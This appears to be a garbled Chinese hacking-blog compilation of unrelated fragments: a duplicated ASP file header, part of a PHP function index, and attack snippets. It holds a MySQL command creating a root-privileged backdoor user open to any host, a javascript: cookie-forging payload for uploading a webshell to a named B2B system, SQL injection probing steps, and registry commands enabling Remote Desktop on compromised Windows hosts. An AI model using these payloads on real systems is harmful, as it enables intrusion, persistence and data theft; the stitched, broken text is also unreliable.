转载:んㄗ葑訫鎖愛'S Blog
一,getpwd2.asp
<%response.buffer="True"
dim rs,sql,user,username
dim problem,id
username=request.form("username")
problem=request.form("problem")
dim connuser,password
转载:んㄗ葑訫鎖愛'S Blog
一,getpwd2.asp
<%response.buffer="True"
dim rs,sql,user,username
dim problem,id
username=request.form("username")
problem=request.form("problem")
dim connuser,password
php 函式索引 967 个函式
共有 967 个函式
Abs: 取得绝对值。
Acos: 取得反余弦值。
ada_afetch: 取得资料库的传回列。
ada_autocommit: 开关自动更动功能。
ada_close: 关闭 Adabas D 连结。
ada_commit: 更动 Adabas D 资料库。
ada_connect: 连结至 Adabas D 资料库。
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
CREATE USER 'itpro'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
打开易想B2B主页,然后地址栏粘贴以下代码,然后回车,然后上传JPG后缀WEBSHELL。然后根目录/vipcom/xxxx.asp/xxx.jpg
javascript:alert(document.cookie="Yxmemberid="+escape("1"));javascipt:document.write("<a%20href=inc/uploadx.asp?tMode=6&istwo=1&utype=guser&guser=5.asp>%20点我</a>");
...判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点.
判断字段大小:接下来,对付php猜字段的方法,我们用order by.语法如下:
http://127.0.0.1/1.php?id=1 order by 40 //如果返回正常,说明实际的字段要比40大.那么我们继续加.一直加到返回错误.
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).
1.SQL injection (classic or error based or whatever you call it)
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f